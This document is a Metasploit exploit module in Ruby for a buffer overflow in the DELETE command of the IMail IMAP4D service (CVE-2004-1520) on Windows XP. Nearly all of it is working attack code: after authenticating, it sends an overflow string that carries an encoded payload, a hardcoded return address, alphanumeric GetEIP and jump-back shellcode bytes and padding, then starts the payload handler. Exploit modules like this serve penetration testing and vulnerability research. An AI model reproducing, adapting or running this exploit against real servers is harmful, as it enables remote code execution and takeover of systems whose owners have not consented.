IMail IMAP4D Delete Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'IMail IMAP4D Delete Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the 'DELETE'  
command of the the IMail IMAP4D service. This vulnerability  
can only be exploited with a valid username and password.  
This flaw was patched in version 8.14.  
  
},  
'Author' => [ 'spoonm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1520'],  
[ 'OSVDB', '11838'],  
[ 'BID', '11675'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>   
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 614,  
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),  
'StackAdjustment' => -3500,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EDX',  
}  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# alphanum rets :(, will look more into it later  
['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],  
],  
'DisclosureDate' => 'Nov 12 2004',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect_login  
  
print_status("Sending overflow string...")  
req = 'A683 DELETE '  
req << payload.encoded  
  
# Jump over code  
req << "\x74\x32\x75\x30"  
req << [target.ret].pack('V')  
req << rand_text_alphanumeric(44)  
  
# GetEIP code  
req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"  
req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"  
  
# Alphanumeric jmp back (edx context)  
req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"  
req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"  
req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"  
req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"  
  
# Run off the stack, so we don't kill our payload, or something...  
req << rand_text_alphanumeric(600)  
  
# Terminate the request  
req << "\r\n"  
  
sock.put(req)  
  
handler  
disconnect  
end  
  
end  
`